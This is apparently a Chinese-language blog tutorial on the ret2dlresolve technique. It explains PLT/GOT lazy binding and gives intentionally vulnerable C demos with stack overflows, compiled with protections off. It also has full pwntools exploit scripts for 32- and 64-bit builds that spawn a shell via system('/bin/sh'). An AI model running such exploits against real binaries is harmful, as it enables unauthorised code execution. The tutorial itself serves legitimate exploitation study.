Featured image of post Ret2dlresolve

Ret2dlresolve

理论部分

首先最好确认你学习过ELF文件结构相关的内容,当然如果没学过这里也会简单的讲解一些 本文主要讲靠pwntools的Ret2dlresolvePayload工具一把梭所需payload,这比手搓payload轮椅太多了,手搓payload咕到下回了,毕竟国道上的大运只管开就好了,但旁边的小轿车考虑的可就多了

这里来复习一下动态链接和延迟绑定 alt text 图片中展示了当我们call一个函数时的大致流程(虽然缺少了部分内容,但是还是很直观的),如果我们首次 call 一个函数,首先是PLT[n]被执行,jmp 到 GOT 表中 对应的条目,但此时该GOT条目里存的还不是该函数的真实地址,而是 该函数 plt表 中下一条指令的地址,然后此时会push reloc_arg,它是在重定位表 .rel.plt 中,用来定位函数相关信息的一个偏移量,接下来跳转到 PLT 的起始部分,通常称为 PLT[0],然后PLT[0] 会先 push 一个 link_map 结构体的地址(通过 GOT[1] 获得),然后 jmp 到 _dl_runtime_resolve 函数(其地址存储在 GOT[2] 中)解析和填充GOT[n]为真实的函数地址,这个过程中我们只需要在可控的内存中伪造_dl_runtime_resolve的参数,也就是link_map 和 reloc_arg

demo

32位 非 Full RELRO

示例demo

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <unistd.h>

static void vuln(void) {
    char buf[64];

    puts("Input:");
    read(0, buf, 0x200);
}

int main(void) {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);

    vuln();
    return 0;
}

使用以下命令编译

1
gcc -m32 -fno-stack-protector -no-pie -Wl,-z,lazy -Wl,-z,norelro demo.c -o demo-32

或者使用以下部分RELRO的编译

1
gcc -m32 -fno-stack-protector -no-pie -Wl,-z,relro -Wl,-z,lazy demo.c -o demo-32

程序很简单,几乎没有逆向的需求,可以直接开始分析,首先在read处有明显的溢出,所以我们可以在溢出的位置提前布置好ROP链 按照之前的内容,我们的第一段payload结构大致应该如下

1
2
3
4
5
6
7
8
- read
- clean_gadget
- 0
- bss_addr
- len
- plt0
- ret_addr
- args

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *

context.arch = "i386"
context.log_level = "debug"
elf = ELF('./demo-32')

def dbg():
    gdb.attach(io)
    pause()

io = process('./demo-32')

dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])

call_read = 0x080491B8
clean = 0x804901B
plt0 = elf.get_section_by_name(".plt").header.sh_addr

io.recvuntil(b'Input:\n')
payload = cyclic(76) + p32(elf.plt['read']) + p32(clean) + p32(0) + p32(dlresolve.data_addr) + p32(len(dlresolve.payload)) + p32(plt0) + p32(dlresolve.reloc_index) + p32(0xdeadbeef) + p32(dlresolve.real_args[0])
io.send(payload)
payload2 = dlresolve.payload
io.send(dlresolve.payload)

io.interactive()

64位 非 Full RELRO

示例demo

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <stdio.h>
#include <unistd.h>

__attribute__((used, naked))
void gadget(void) {
    __asm__(
        "pop %rdi; ret;"
        "pop %rsi; ret;"
        "pop %rdx; ret;"
        "ret;"
    );
}

static void vuln(void) {
    char buf[64];

    puts("Input:");
    read(0, buf, 0x300);
}

int main(void) {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);

    vuln();
    return 0;
}

使用以下命令编译

1
gcc -fno-stack-protector -no-pie -Wl,-z,norelro -O0 -fcf-protection=none demo64.c -o demo64

或者使用以下编译Partial RELRO

1
gcc -fno-stack-protector -no-pie -Wl,-z,relro -Wl,-z,lazy -O0 -fcf-protection=none demo64.c -o demo64

事实上这一部分相比于32位的变化只有参数的传递,我们需要通过寄存器来传递参数了,因此我们需要先得到用于设置寄存器的gadget,除此之外几乎一样

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *

context.arch = "amd64"
context.log_level = "debug"

io = process('./demo64')
elf = ELF("./demo64")


pop_rdi = 0x401146
pop_rsi = 0x401148
pop_rdx = 0x40114A
ret = 0x40114B
plt0 = elf.get_section_by_name(".plt").header.sh_addr

dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
paylaod = cyclic(0x48) + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(dlresolve.data_addr) + p64(pop_rdx) + p64(len(dlresolve.payload)) + p64(elf.plt["read"]) + p64(ret) + p64(pop_rdi) + p64(dlresolve.real_args[0]) + p64(plt0) + p64(dlresolve.reloc_index)

io.recvuntil(b"Input:\n")
io.send(paylaod)
io.send(dlresolve.payload)

io.interactive()
Licensed under CC BY-NC-SA 4.0